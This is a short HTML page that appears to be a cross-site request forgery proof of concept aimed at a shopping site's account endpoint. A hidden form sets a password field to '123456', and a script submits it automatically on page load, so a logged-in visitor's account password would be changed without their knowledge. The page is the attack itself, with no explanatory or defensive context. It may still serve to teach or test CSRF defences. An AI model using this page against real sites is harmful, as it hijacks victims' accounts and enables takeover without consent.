<!DOCTYPE html>
<html>
<body>
<form method="post" action="http://shop.com/account.php">
    <input type="hidden" name="password" value="123456"/>
    <button type="submit"></button>
    <!-- <input type="submit" value="Submit" /> -->
</form>
<script>
    document.querySelector("button").click();
</script>
</body>
</html>